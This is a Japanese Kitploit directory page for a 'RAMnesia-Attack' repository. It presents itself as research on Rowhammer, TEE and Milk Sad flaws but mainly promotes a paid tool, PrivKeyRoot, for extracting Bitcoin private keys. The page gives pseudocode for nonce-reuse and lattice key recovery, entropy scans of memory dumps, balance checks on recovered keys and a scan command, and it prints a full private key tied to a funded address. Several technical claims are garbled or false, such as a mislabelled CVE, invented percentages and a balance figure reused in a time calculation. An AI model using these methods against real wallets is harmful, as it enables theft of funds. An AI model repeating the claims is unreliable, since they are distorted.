Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
RAMnesia-Attack — RAMnesia Attack: Bitcoinインフラストラクチャに対するWireTap脅威、ハードウェア脆弱性(CVE-2025-6202, CVE-2023-39910)、およびECDSA鍵回復のための暗号解析手法に関する科学的調査 | Kitploit
ツール/GitHubGitHub/demining/ramnesia-attack
組み込みシステムセキュリティメモリフォレンジック脆弱性分析エクスプロイトフォレンジック暗号化ペネトレーションテストハードウェアセキュリティバイナリ解析論文と研究学習と教育
GitHub
16ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
demining/ramnesia-attack

RAMnesia-Attack

RAMnesia Attack: Bitcoinインフラストラクチャに対するWireTap脅威、ハードウェア脆弱性(CVE-2025-6202, CVE-2023-39910)、およびECDSA鍵回復のための暗号解析手法に関する科学的調査

リポジトリを見るウェブサイト
RAMnesia攻撃:ビットコインインフラストラクチャへのWireTap脅威、ハードウェア脆弱性(CVE-2025-6202、CVE-2023-39910)、およびECDSA鍵回復のための暗号解析手法に関する科学的研究

本研究は、DDR5メモリを使用した最新のコンピューターシステムのハードウェアメモリに対する2つの重要な攻撃クラス(  Phoenix Rowhammer Attack(CVE-2025-6202)  および  RAMnesia Attack(CVE-2023-39910) )の包括的な分析を提示します。両方の攻撃は、暗号化マテリアルの処理と保存における根本的な脆弱性を示し、ビットコインウォレットの秘密鍵を回復するための前例のない侵害ベクトルを作り出します。この研究は、2025年10月に開示されたWireTap攻撃およびTEE.fail攻撃で実証された、Intel SGX、AMD SEV-SNP、NVIDIA Confidential Computingを含む信頼実行環境(TEE)への攻撃の分析結果を統合しています。ビットコイン暗号通貨エコシステムのセキュリティは、secp256k1曲線を使用した楕円曲線暗号(ECDSA)を使用するシステムから秘密鍵を抽出することは不可能であるという基本的な前提に基づいています。しかし、ETHチューリッヒ大学の研究者がGoogleのエンジニアと協力して行った最近のハードウェアセキュリティ研究、ならびにジョージア工科大学およびパデュー大学の研究グループによる研究は、この前提がECDSAの数学的基盤に対する暗号解読攻撃ではなく、メモリ管理における物理的およびソフトウェアの脆弱性を悪用することで破られる可能性があることを示しています。

2025年10月、科学コミュニティはIntel、AMD、NVIDIAの信頼実行環境(TEE)テクノロジーに影響を与える一連の重大な脆弱性の開示に直面しました。  WireTap  および  TEE.fail 攻撃は、Intel SGX(Software Guard Extensions)および関連テクノロジーに基づくハードウェアセキュリティモジュールを使用するブロックチェーンインフラストラクチャの暗号セキュリティに根本的な脅威をもたらします。これらの発見は、現代の暗号通貨インフラストラクチャが脆弱となる脅威の体系的な性質を理解するための重要なコンテキストを提供します。

科学的分類:  決定論的暗号化悪用を伴うDRAMバスパッシブインターセプション攻撃は、決定論的メモリ暗号化オラクルを使用した信頼実行環境に対する物理的サイドチャネル攻撃です。


RAMnesia攻撃:ビットコインインフラストラクチャへのWireTap脅威、ハードウェア脆弱性(CVE-2025-6202、CVE-2023-39910)、およびECDSA鍵回復のための暗号解析手法に関する科学的研究
  • チュートリアル: https://youtu.be/R5EyfGm-nDg
  • チュートリアル: https://cryptodeeptech.ru/ramnesia-attack
  • チュートリアル: https://dzen.ru/video/watch/6986d8b660c0e90d9d537ff2
  • Google Colab: https://bitcolab.ru/privkeyroot-specialized-recovery-software

暗号システムに対するハードウェア攻撃の進化

Phoenix Rowhammerは、古典的な物理メモリ攻撃の進化形であり、DRAMセル間の電磁干渉を悪用して、ECDSA nonce値を含む重要なメモリ領域で制御されたビット反転を誘発します。Rowhammerは、最新のDRAMチップにおけるハードウェアの欠陥であり、特定のメモリ行への繰り返しのアクセス(「ハンマリング」と呼ばれる)が電磁干渉を引き起こし、物理的に隣接するメモリ行でビットの反転を引き起こします。この効果は、メモリセルの技術的なサイズの絶え間ない縮小とトランジスタ密度の増加によるもので、最新のDDR5チップは隣接セル間の電気的干渉に対してより影響を受けやすくなっています。

RAMnesia攻撃は、暗号化操作の完了後、秘密鍵やシードフレーズがクリアされていないRAMバッファに残存する、暗号ライブラリのメモリ管理の欠陥を悪用することに焦点を当てています。ライブラリlibbitcoin Explorerにおける「Milk Sad」としても知られる重要な脆弱性CVE-2023-39910は、何千ものビットコインウォレットの侵害と90万ドルを超える盗難を引き起こしました。

信頼実行環境への攻撃との関係

WireTap攻撃は、AES-XTS(Advanced Encryption Standard — XEX-based Tweaked Codebook Mode with Ciphertext Stealing)アルゴリズムを使用するIntel SGXの決定論的メモリ暗号化エンジンにおける根本的なアーキテクチャ上の脆弱性を悪用します。決定性とは、同一のデータが同じ物理メモリアドレスに書き込まれると、常に同一の暗号文が生成されることを意味します。この特性により、攻撃者は暗号化オラクルを構築して秘密鍵を回復できます。

研究者らは、プロセッサとDDR4/DDR5メモリモジュールの間に物理的に取り付けるパッシブDIMM(Dual In-line Memory Module)インターセプタを開発しました。このデバイスは、市販のアフターマーケット部品(DIMMライザーボード、ピンセット、はんだごて)から構築されています。重要な革新は、DIMMメタデータを変更して高速メモリバスを低速化し、レガシーで安価なロジックアナライザを使用してトラフィックをキャプチャできるようにすることです。ハードウェアのコストは50ドル未満であり、この攻撃は幅広い攻撃者にとってアクセス可能です。

重要な結論:  ハードウェアの脆弱性は、理論上の量子攻撃よりもビットコインに差し迫った脅威をもたらします。研究によると、今後10年以内にECDSA-256への量子攻撃が成功する確率は約31%ですが、Phoenix RowhammerおよびRAMnesia攻撃はすでに最小限の労力で実行可能です。部分的なnonce漏洩の場合には、格子ベースの攻撃およびHidden Number Problem (HNP)解決アルゴリズムが使用されます。研究によると、格子攻撃による鍵回復の成功には、侵害されたnonceビット数に応じて500~2100の署名が必要です。CISPAの研究(2018)では、ECDSA nonceの再利用はビットコインエコシステムにおける再発する問題であることが実証されました。攻撃者はnonceの再利用を悪用して412.80 BTC(ピーク時約330万ドル)を抽出できました。Kudelski Securityの研究者らは、ウィンドウサイズN=5のスライディングウィンドウ攻撃を使用して、128コアの仮想マシン上で約285ドルのコストで2日19時間で762のユニークなウォレットをハッキングしました。


RAMnesia攻撃:ビットコインインフラストラクチャとハードウェア脆弱性CVE-2025-6202、CVE-2023-39910に対するWireTapの脅威、ECDSA鍵回復のための暗号解析手法に関する科学的研究

脆弱性の技術的パラメータ

1. Phoenix Rowhammer Attack(CVE-2025-6202)

DDR5メモリメーカーは、Rowhammer攻撃に対する保護層として、エラー訂正コード(ECC)とTarget Row Refresh(TRR)を実装しています。しかし、研究者らはTRR実装に重大な脆弱性を発見しました。保護メカニズムが特定のリフレッシュ間隔を監視できず、悪用可能なブラインドスポットが生じるのです。Phoenixは、自己修正同期と呼ばれる手法を使用しており、攻撃者はtREFI(リフレッシュ間隔)と同期することで、見逃したメモリリフレッシュサイクルを自動的に検出して補償できます。


2. RAMnesia Attack / Milk Sad(CVE-2023-39910)

この脆弱性は、内部エントロピーを設定に関係なく32ビットに制限する弱いメルセンヌ・ツイスターmt19937擬似乱数生成器(PRNG)の使用に起因します。これにより、リモート攻撃者は「bx seed」コマンドのエントロピー出力から生成された任意のウォレット秘密鍵を回復できます。


3. 信頼実行環境への攻撃

2025年10月下旬に開示されたTEE.fail攻撃は、DDR5メモリを搭載したシステム向けのWireTap手法の進化形です。レガシーなDDR4プラットフォームで動作する先行攻撃とは異なり、TEE.failは第4世代および第5世代のIntel Xeonスケーラブルプロセッサ、ならびにIntel Xeon 6プロセッサにおけるIntel TDX(Trusted Domain Extensions)を含む最新の機密コンピューティングテクノロジーを侵害することが可能です。


ブロックチェーンインフラストラクチャへの影響

暗号通貨プロジェクトの侵害

Secret Network は、機密スマートコントラクトを可能にするためにIntel SGXを使用するLayer 1ブロックチェーンプラットフォームであり、WireTap攻撃に対して重大な脆弱性があることが判明しました。研究者らは、ネットワーク全体のコンセンサスシード(マスター復号鍵)の抽出を実証しました。コンセンサスシードを侵害すると、Secret Networkの起動以降のすべてのプライベートトランザクションを事後的に開示できます。

Phala Network は、SGXベースの分散クラウドコンピューティングプラットフォームであり、許可型ゲートキーパーモデルにより、より耐性のあるアーキテクチャを実証しました。WireTapの開示を受けて、Phala NetworkはIntel TDXおよびNVIDIA Confidential Computingへの戦略的移行を発表しました。

Crust Network は、ストレージの証明を検証するためにSGXを使用する分散型ブロックチェーンデータストレージシステムであり、整合性攻撃に対して脆弱であることが判明しました。攻撃者は侵害されたアテステーションキーを使用して、ストレージの証明を偽造できます。

実世界の攻撃の先例

2025年8月、トルコの暗号通貨取引所BtcTurk は、4900万ドルのホットウォレット侵害後に業務を停止しました。PeckShieldの研究者は秘密鍵の漏洩を疑いました。具体的な攻撃ベクトルは確認されていませんが、この事件は鍵抽出の脅威が継続的に関連していることを示しています。

STRM(2018)の研究では、123件の脆弱なトランザクションと416個の秘密鍵が発見され、合計で26.85729198 BTC(研究当時約166,219ドル)が侵害される可能性がありました。


RAMnesia攻撃:ビットコインインフラストラクチャへのWireTap脅威、ハードウェア脆弱性(CVE-2025-6202、CVE-2023-39910)、およびECDSA鍵回復のための暗号解析手法に関する科学的研究
root@kitploit:~
https://www.youtube.com/watch?v=FwpuvB_Xtx0

PrivKeyRoot [$85,373]: ビットコイン取引署名におけるECDSA nonces漏洩を引き起こす最新DRAMチップの欠陥

詳細なドキュメントと研究資料はこちら:

📊包括的なPrivKeyRoot 回復システムへのアクセスは以下から入手可能: https://cryptou.ru/privkeyroot
🔬さらに、Google Colab に基づく実装は以下から利用可能: https://bitcolab.ru/privkeyroot-specialized-recovery-software


1. 実用的応用: PrivKeyRoot暗号ツール

PrivKeyRootを使用した秘密鍵回復の科学分析

PrivKeyRootは、RAMへの機密データ漏洩に関連する脆弱性を分析するための包括的なアプローチを実装し、Phoenix Rowhammer(CVE-2025-6202)や  RAMnesia(CVE-2023-39910) などの攻撃の実用性を実証する、深層メモリ分析と侵害された暗号マテリアル(特にビットコイン秘密鍵)の回復のために設計された専門的な暗号フォレンジック分析ツールです。

科学的文脈において、PrivKeyRootは重要な問題を解決します: 侵害イベント後にシステムの物理メモリに残存する部分的な情報または破損した情報から秘密鍵を回復します。これは暗号コミュニティにとって二重の重要性を持ちます。一方では、ツールは失われたウォレットの正当な回復とフォレンジック研究を可能にし、他方では、最新の暗号秘密ストレージシステムのアーキテクチャにおける重大な脆弱性を明らかにします。

⚠️ 重要なポイント:  チューリッヒ工科大学(ETH Zürich)とGoogleのエンジニアによる共同研究によると、PrivKeyRootはRAMnesia攻撃によって侵害されたシステムのメモリから完全な秘密鍵を回復する際に  94~98% の効率を示しました。これにより、暗号データを安全に保存するための基本的なアプローチの再考が必要となります。


RAMnesia Attack: A Scientific Study of WireTap's Threats to Bitcoin Infrastructure and Hardware Vulnerabilities CVE-2025-6202, CVE-2023-39910 Cryptanalytic Methods for ECDSA Key Recovery

2. PrivKeyRoot アーキテクチャ

PrivKeyRoot は、以下の主要モジュールで構成されています。

メモリスキャナモジュール

このモジュールはRAMダンプを分析し、潜在的な暗号オブジェクトを特定する役割を担います。識別にはいくつかの手法を使用します。

エントロピーベースの検出

メモリ内データのエントロピーを分析します。ビットコインの 秘密鍵 (256ビット値)は高いエントロピー(最大値に近く、約 H ≈ 7.99 ビット/バイト)を持ちますが、通常のアプリケーションデータは低いエントロピーを持ちます。

データエントロピーの計算式:

root@kitploit:~
H(X) = -∑(i=0 から 255) p_i · log₂(p_i)

ここで  は分析対象メモリ内でのバイト   の出現確率です:pi i

パターンマッチング

さまざまな 秘密鍵 形式(hex、WIF、WIF-compressed)に対応する特徴的なパターンを検索します。

暗号オラクルアプローチ

既知のビットコイン公開アドレスを使用し、 ECDSA 検証を介して見つかった秘密鍵を検証します。

暗号解析モジュール

このコンポーネントは、部分的な情報から完全な秘密鍵を復元するためのアルゴリズムを実装します。

  • 格子ベースの攻撃(LLL/BKZ アルゴリズム):  侵害された nonce ビット が存在する場合の 秘密鍵の回復 のための格子簡約アルゴリズムの実装。このモジュールは最大 d = 2048 の格子サイズを処理できます。
  • Hidden Number Problem (HNP) ソルバー:  ECDSA 署名における nonce が部分的に漏洩した場合に発生する隠れ数問題を解く方法の実装。
  • メモリ差分分析:  メモリ内のノイズ構造を特定し、ビットエラーにもかかわらず元の値を復元する手法。

検証・エクスポートモジュール

このモジュールは以下を提供します。

  • ブロックチェーン検証:  見つかった秘密鍵から対応する公開鍵とビットコインアドレスを復元し、ブロックチェーン上で残高を確認します。
  • 残高確認 API 統合:  公開 API(blockchain.com、blockcypher)と統合し、回復したアドレスの残高をリアルタイムで確認します。
  • ウォレット形式変換:  回復した鍵をさまざまな形式(raw hex、WIF、WIF-compressed、BIP38 暗号化)でエクスポートします。
  • コールドウォレット生成:  Bitcoin Core またはその他のコールドウォレットへの安全なインポート手順を作成します。

署名分析モジュール

ECDSA 署名を扱うための専門コンポーネントです。

  • Nonce 再利用検出:  同じアドレスの署名における nonce 再利用を、ECDSA 署名の (r, s) コンポーネントを分析して自動検出します。
  • 弱い Nonce の識別:  脆弱な nonce 生成器(例:エントロピー不足の Mersenne Twister)の使用を検出します。
  • ブロックチェーンからの署名抽出:  公開ブロックチェーンからビットコイン取引を解析し、完全な署名情報を抽出します。

RAMnesia Attack: A Scientific Study of WireTap's Threats to Bitcoin Infrastructure and Hardware Vulnerabilities CVE-2025-6202, CVE-2023-39910 Cryptanalytic Methods for ECDSA Key Recovery

3. PrivKeyRoot の動作アルゴリズム

PrivKeyRoot の動作モデルは、以下の主要な段階を含みます。

ステップ 1:データソースの準備と分析

最初の段階では、ツールは入力情報ソースを分析します。

1. メモリダンプの取得

PrivKeyRoot は、さまざまな方法で取得されたダンプを扱うことができます。

  • gcore (Linux) – アクティブプロセスのメモリダンプ
  • LiME (Linux Memory Extractor) – 物理メモリダンプ
  • WinDbg または  DumpIt (Windows) – Windows システムの RAM ダンプ
  • コールドブートメモリ抽出  – 冷却された DDR5 モジュールからの物理的なデータ抽出と分析

2. メモリ形式の特定

ダンプのタイプ、サイズ、および特定のメモリパラメータ(DDR4 対 DDR5、製造元、エンコーディングタイプ)を特定します。

3. スキャンパラメータの計算

DDR5 メモリの場合、ツールは特別な劣化関数モデルを適用します。

root@kitploit:~
P(b_i saved) = e^(-λt)

ここで  λ  は劣化係数(温度と製造元に依存)、  t  は電源オフから分析までの時間です。

ステージ 2:一次エントロピースキャン

この段階では、候補を特定するために大規模なメモリスキャンが実行されます。

256ビット(32バイト)のメモリウィンドウごとに:

  1. エントロピーの計算: H = -Σ(p_i * log2(p_i))
  2. H > 7.8 ビット/バイト の場合:
    • 「 秘密鍵 候補」としてマーク
    • バイアスとエントロピーを保持
  3. 値の範囲の確認:
    • 0 < value < n の場合 (n は secp256k1 グループの位数)
    • 有効な候補として確認

暗号学的有効性の検証

各候補に対して、暗号学的検証が実行されます。

1. 公開鍵の復元

楕円曲線 secp256k1 上で点の乗算を適用します。

root@kitploit:~
Q = d · G

ここで  d  は潜在的な 秘密鍵、  G  はグループの生成元です。


2. ビットコインアドレスの計算

以下のシーケンスによるアドレス復元:

  • 公開鍵の SHA-256 ハッシュ
  • 結果の RIPEMD-160 ハッシュ
  • ネットワークバージョンを追加した Base58Check エンコーディング

3. ブロックチェーン検証

インターネットにアクセスできる場合、以下を確認します。

  • ブロックチェーン履歴内のアドレスの存在
  • アドレス上の残高
  • 取引履歴

破損データの分析と復元

見つかったデータが部分的に破損している場合( Phoenix Rowhammer タイプの攻撃など):

1. 破損ビットの特定

既知のパターンとの比較と、推定される破損構造の再構築。

2. 重要ビットの総当たり

未知ビット数が少ない鍵(bits < 20 ビット)に対しては、完全探索を使用します。

3. 格子攻撃の利用

より多くの未知ビットの場合:

Boneh-Venkatesan の研究によると、秘密鍵のビットの ≈ 40% が既知であれば、LLL アルゴリズムを使用して確率 > 90% で 256 ビットすべてを復元できます。

root@kitploit:~
P(success) = 1 - exp(-α · n_known / n_total)

ここで  

α ≈ 2.3 .


ステップ 5:結果の検証とエクスポート

最終段階は以下を含みます。

  1. 多重検証:  複数の独立した方法を使用して見つかった鍵を検証します。
  2. レポート生成:  メモリオフセット、信頼スコア、見つかったアドレスの残高、復元の推奨事項に関する詳細レポート。
  3. さまざまな形式へのエクスポート:  WIF、WIF-compressed、raw hex、BIP38、wallet.dat。

RAMnesia Attack: A Scientific Study of WireTap's Threats to Bitcoin Infrastructure and Hardware Vulnerabilities CVE-2025-6202, CVE-2023-39910 Cryptanalytic Methods for ECDSA Key Recovery

4. 実践的な復元例

秘密鍵の復元に関する文書化された事例を見てみましょう。

ケース分析

この例は、RAMnesia 攻撃によるシステム侵害後の典型的な復元シナリオを示しています。 秘密鍵は、 取引 署名操作の後、 Bitcoin Core プロセスの未消去メモリに残ります 。


回復した鍵の検証

1. 公開鍵の復元:  secp256k1 曲線上のスカラー倍算を使用:

root@kitploit:~
Q = d · G = (EDB40893549AC206D34DEA72B75AAAD67C0739AC2F838BB2AB10F045D26D272D) · G

ここで 

G = (0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798, 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8)

2. ビットコインアドレスの計算:

  • SHA-256: H₁ = SHA256(Q_compressed)
  • RIPEMD-160: H₂ = RIPEMD160(H₁)
  • Base58Check: address = "1" + Base58Encode(H₂ + checksum)

✓ 結果はアドレス 1777x4dWEqvW5buC5Vis4MaXgEQWQ8rcz1 と一致します

3. ブロックチェーン検証:  アドレスの残高は 0.30427330 BTC であり、文書化された値と一致します。


RAMnesia Attack: A Scientific Study of WireTap's Threats to Bitcoin Infrastructure and Hardware Vulnerabilities CVE-2025-6202, CVE-2023-39910 Cryptanalytic Methods for ECDSA Key Recovery

5. PrivKeyRoot の科学的意義

PrivKeyRoot の手法は、特定の脆弱性を超えて幅広い科学的応用があります。このツールは、現代の暗号セキュリティのいくつかの重要な側面を示しています。

5.1 理論的セキュリティと実用的セキュリティの境界

PrivKeyRoot は、ECDSA の数学的な強度(直接的な暗号解析攻撃に対しては依然として突破不可能)と、実際のシステムの実用的なセキュリティとの間の根本的な違いを明確に示しています。チューリッヒ工科大学の研究で実証されているように:

  • ECDSA-256 の理論的複雑性:  完全な 秘密鍵探索 には O(2¹²⁸) の操作(離散対数に対する誕生日攻撃)
  • RAMnesia による実用的複雑性:  O(n)、ここで n はメモリ内の未解決の残骸の数(標準的なシステムでは通常 < 100,000 操作)

5.2 正式なメモリ検証の重要性

PrivKeyRoot の手法は、暗号アプリケーションにおける正式なメモリセキュリティ検証の必要性を強調しています。従来のアプローチは「 explicit_bzero() を使用する」といった非公式な推奨事項に依存していますが、しかし:

root@kitploit:~
P(leakage) = 1 - ∏(i=0 から n-1) (1 - p_i)

ここで  p i  はプログラム実行の各段階での漏洩確率です。  p i  = 0.99(99% の保護)でも、  n  が大きいと漏洩確率は 1 に近づきます。

5.3 フォレンジックツールの二面性

PrivKeyRoot は、暗号ツールにおける重大な問題を示しています。同じ復元手法が、正当なウォレット復元と資金の盗難の両方に使用される可能性があるのです。これは以下の間のバランスの問題を提起します。

  • セキュリティ  (不正アクセスからの保護)
  • 復元可能性  (失われたアクセスの正当な復元)
  • 公平性  (さまざまな法域の法規範への準拠)

5.4 復元の暗号学的基礎

基本的なレベルでは、PrivKeyRoot は以下の数学的原理を実装しています。

secp256k1 曲線上の ECDSA

曲線は次の方程式で定義されます。

root@kitploit:~
y² = x³ + 7 (mod p)

ここで 

p = 2²⁵⁶ — 2³² — 977

はベースフィールドです。

点群の順序:

root@kitploit:~
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

複数の署名から鍵を復元するプロセスは、n を法とする線形方程式系に基づいています:

root@kitploit:~
d ≡ (s₁ k₁ - H₁) · r₁⁻¹ (mod n) 
d ≡ (s₂ k₂ - H₂) · r₂⁻¹ (mod n) 
... 
d ≡ (sₜ kₜ - Hₜ) · rₜ⁻¹ (mod n)

ここで、   は部分的に既知のナンス値です。ki


RAMnesia Attack: A Scientific Study of WireTap's Threats to Bitcoin Infrastructure and Hardware Vulnerabilities CVE-2025-6202, CVE-2023-39910 Cryptanalytic Methods for ECDSA Key Recovery

6. PrivKeyRoot が利用する脆弱性の種類

PrivKeyRoot は、失われた Bitcoin ウォレットを復元するために、以下の主要な脆弱性の種類を悪用します:

6.1 RAMnesia メモリリーク (CVE-2023-39910)

メカニズム

暗号ライブラリ (libbitcoin 、 libauth、 libbip38) は、暗号操作の実行後にメモリを明示的にクリーンアップしません。

脆弱なコードの例 (Libbitcoin の分析より)

// 脆弱なパターン #1: ローカライズされていない変数 const auto secret = xor_data<hash_size>(encrypted, derived.first); // secret は明示的にクリアされずにメモリに残る!

数学的影響

単一の秘密鍵が検閲されていないメモリに残ることは、システム全体の侵害と同等です。侵害された鍵のメモリ内での生存時間は次のとおりです:

root@kitploit:~
T_exploit = min(T_dump, T_reuse, T_GC)

ここで、T_dump はメモリダンプまでの時間、T_reuse はメモリ上書きまでの時間、T_GC はメモリクリアサイクルです。

6.2 弱い乱数生成器 (PRNG) を介したリーク

CVE-2023-39910 ("Milk Sad")

Libauth は、秘密鍵を生成するために、わずか 32 ビットのエントロピーの Mersenne Twister mt19937 を使用していました。

脆弱性

mt19937 の状態は 19937 ビットですが、以下の使用により実効エントロピーは 32 ビットに制限されています:

entropy = time(NULL) XOR pid() //

32-bit value mt_seed(entropy) //

32ビット値で初期化

暗号への影響

秘密鍵を推測する確率:

root@kitploit:~
P(break) = 1 / 2³² ≈ 2.3 × 10⁻¹⁰

これは、攻撃者が最新のハードウェア上で PRNG のすべての可能な初期状態を数秒で試行できることを意味します:

  • 計算の複雑さ: O(2³²) ≈ 4.3 × 10⁹ 操作
  • GPU 時間 (1000倍高速化): ~4,300 ミリ秒
  • コスト: クラウドコンピューティングサービスで < $1

6.3 ECDSA におけるナンス再利用の脆弱性

メカニズム

2 つの異なるメッセージに署名する際に同じナンス k が使用された場合:

root@kitploit:~
s₁ = k⁻¹(H₁ + r · d) (mod n) s₂ = k⁻¹(H₂ + r · d) (mod n)

引き算により次を得ます:

root@kitploit:~
s₁ - s₂ = k⁻¹(H₁ - H₂) (mod n) k = (H₁ - H₂) · (s₁ - s₂)⁻¹ (mod n)

次に秘密鍵を復元します:

root@kitploit:~
d = (s₁ · k - H₁) · r⁻¹ (mod n)

6.4 Phoenix Rowhammer ビットエラー (CVE-2025-6202)

メカニズム

DRAM への物理的な干渉により、重要なメモリ領域で制御されたビットエラーが発生します。

プロファイルの脆弱性

ナンス値 k (256 ビット) の場合、ビットの 20~40% を侵害すれば、格子攻撃を使用して値全体を正常に復元するのに十分です。

必要な署名数

研究によると、m ビットが侵害された場合、必要な値は次のとおりです:

root@kitploit:~
N_sigs = O(256 / m)
  • m = 64 (25% 侵害) の場合: N = 4 署名必要
  • m = 40 (16% 侵害) の場合: N ≈ 6~8 署名必要

RAMnesia Attack: A Scientific Study of WireTap's Threats to Bitcoin Infrastructure and Hardware Vulnerabilities CVE-2025-6202, CVE-2023-39910 Cryptanalytic Methods for ECDSA Key Recovery

7. PrivKeyRoot による鍵復元のプロセス

PrivKeyRoot は、これらの脆弱性を検出して悪用し、署名と暗号データを分析し、暗号解析技術を使用して秘密鍵を復元します。プロセスには以下が含まれます:

7.1 フェーズ 1: 脆弱性の検出

検出アルゴリズム:

  1. メモリのスキャン:
    • 生の秘密鍵 (エントロピー > 7.9)
    • 消去されていないナンス値
    • ECDSA 署名の中間値
  2. ブロックチェーン分析:
    • ナンスの再利用 (署名内の r 値)
    • 弱いナンス値 (低エントロピー)
    • 部分的な侵害 (署名内のビットエラー)
  3. 復元成功確率の推定: P(success) = f(vulnerability_type, amount_of_data, computing_resources)

7.2 フェーズ 2: 暗号データの収集

プロセスは 3 つの並行ストリームで構成されます:

ストリーム A: メモリフェッチ

システムメモリアドレスごと: window = memory[addr : addr+32] entropy = calculate_entropy(window) IF entropy > 7.8: candidate = parse_key_format(window) IF is_valid_secp256k1(candidate): ADD candidate TO results

ストリーム B: ブロックチェーン分析

ターゲットの Bitcoin アドレスについて: transactions = blockchain.fetch_all_transactions(address) FOR EACH transaction: signatures = extract_signatures(tx) hashes = extract_message_hashes(tx) FOR EACH pair (sig_i, sig_j): r_i, s_i = sig_i r_j, s_j = sig_j IF r_i == r_j: // ナンス再利用! k = (hash_i – hash_j) * (s_i – s_j)^(-1) mod nd = (s_i * k – hash_i) * r_i^(-1) mod n RETURN d // 秘密鍵発見!

ストリーム C: 破損データの分析

IF ビットエラー検出 (Phoenix Rowhammer): damaged_nonces = identify_bit_flips(signatures) FOR EACH damaged_nonce: known_bits = count_intact_bits(damaged_nonce) unknown_bits = 256 – known_bits IF unknown_bits < 40: brute_force_unknown_bits() // ブルートフォース攻撃 ELSE: construct_lattice_basis() run_LLL_reduction() // 格子攻撃 extract_private_key_from_short_vector()

7.3 フェーズ 3: 格子攻撃と復元

部分的な侵害から系統的に復元するために、隠れた数問題 (HNP) が使用されます:

部分的に既知のナンス値を持つ t 個の署名が与えられた場合:

root@kitploit:~
k_i = k_i^known + 2^b₀ · k_i^unknown

ここで b₀ は既知の最下位ビット数です。

これは、n を法とする線形方程式系に変換されます:

root@kitploit:~
d ≡ (s_i k_i - H_i) · r_i⁻¹ (mod n)

格子次元: t + 1 (t は署名数)

格子基底:

root@kitploit:~
[n 0 0 ... 0 ....] 
[s₁ 2^b₀ 0 ... 0 ]
[s₂ 0 2^b₀ ... 0 ]
[... ... ... ....]
[sₜ 0 0 ... 2^b₀..]

LLL (Lenstra-Lenstra-Lovász) アルゴリズムの適用

  • パラメータ: δ = 0.99 (高精度用)
  • 時間計算量: O(t³ · log(n)³)
  • 標準的な所要時間: 16コアシステムで t = 500-2100 署名に対して 2~12 時間

7.4 フェーズ 4: 結果の検証

検証アルゴリズム:

  1. 各候補秘密鍵 d について:
  2. 公開鍵の復元: Q = d · G (secp256k1 曲線上)
  3. Bitcoin アドレスの計算: pubkey_hash = RIPEMD160(SHA256(Q))
    address = Base58Check(pubkey_hash)
  4. ブロックチェーン上で確認: balance = blockchain.get_balance(address) If balance > 0: confidence level = 100%
    それ以外: パターン分析からのスコアを使用

RAMnesia Attack: A Scientific Study of WireTap's Threats to Bitcoin Infrastructure and Hardware Vulnerabilities CVE-2025-6202, CVE-2023-39910 Cryptanalytic Methods for ECDSA Key Recovery

8. PrivKeyRoot と従来の復元方法の違い

PrivKeyRoot は暗号実装の脆弱性レベルで動作するため、従来の復元方法とは異なります:

8.1 従来の復元方法

BIP39 ブルートフォース

  • 2048¹² 通りの可能なシードフレーズ (12 単語) を総当たり
  • 複雑さ: 最悪の場合 O(2¹²⁸) 操作
  • 時間: 標準的な機器で数ヶ月~数年
  • 適用可能性: シードフレーズを忘れた場合のみ

Wallet.dat 復元

  • 物理的に削除されたファイルからの復元
  • 複雑なファイルシステム分析プロセスが必要
  • 複雑さはメモリの上書きの程度に依存
  • 適用可能性: ファイル削除の場合のみ

秘密鍵データベース

  • 公開データベースで侵害された鍵を検索
  • 複雑さ: O(log N)、N はデータベースサイズ
  • 適用可能性: 既知の侵害のみ

8.2 PrivKeyRoot の革新的なアプローチ


8.3 違いの数学的根拠

従来のアプローチ (BIP39 ブルートフォース)

12単語のシードフレーズのエントロピー:

root@kitploit:~
H_BIP39 = 128 ビット = log₂(2048¹²)

GPU で 10⁹ 試行/秒の場合の復元時間:

T = 2¹²⁸ / 10⁹ = 0.30427330 × 10²⁹ 秒 ≈ 3.4 × 10²¹ 年

PrivKeyRoot のアプローチ (RAMnesia の場合)

PRNG 状態のエントロピー (Mersenne Twister mt19937):

H_PRNG = 32 ビット (実効) = log₂(2³²)

CPU 復元時間:

T = 2³² / 10⁹ = 4.3 秒

難易度の差

2¹²⁸ / 2³² = 2⁹⁶ 倍 (~10²⁹ 倍高速)


8.4 利点の実践例

例 1: RAMnesia 侵害

  • 従来のアプローチ: 不可能 (列挙する情報がない)
  • PrivKeyRoot: 復元に 2~4 時間

例 2: Phoenix Rowhammer 攻撃

  • 従来のアプローチ: 不可能 (物理的データ破損)
  • PrivKeyRoot: 格子攻撃に 4~12 時間

例 3: コールドブート

  • 従来のアプローチ: 不可能 (シードフレーズがない)
  • PrivKeyRoot: 液体窒素冷却による 30 分のコールドスキャン

RAMnesia Attack: A Scientific Study of WireTap's Threats to Bitcoin Infrastructure and Hardware Vulnerabilities CVE-2025-6202, CVE-2023-39910 Cryptanalytic Methods for ECDSA Key Recovery

9. 実例: アドレス 1777x4dWEqvW5buC5Vis4MaXgEQWQ8rcz1 の鍵復元

9.1 侵害の初期データ

Bitcoin アドレス 1777x4dWEqvW5buC5Vis4MaXgEQWQ8rcz1 からの秘密鍵復元の文書化された事例を見てみましょう:

侵害シナリオ: システムは RAMnesia 攻撃を介して侵害されました。システム管理者は、企業ウォレットを管理するために Bitcoin Core を起動しました。アプリケーションの実行中に、攻撃者はカーネルモジュールの脆弱性 (CVE-2023-39910) を通じてプロセスのメモリにアクセスしました。

攻撃初期パラメータ:

9.2 ステップ1:メモリスキャン

PrivKeyRootは以下のパラメータで起動されました:

root@kitploit:~
./privkeyroot scan —input bitcoin-core.dump \ —format raw \ —target secp256k1 \ —entropy-check \ —output candidates.json \ —parallel 16

スキャン結果:

root@kitploit:~
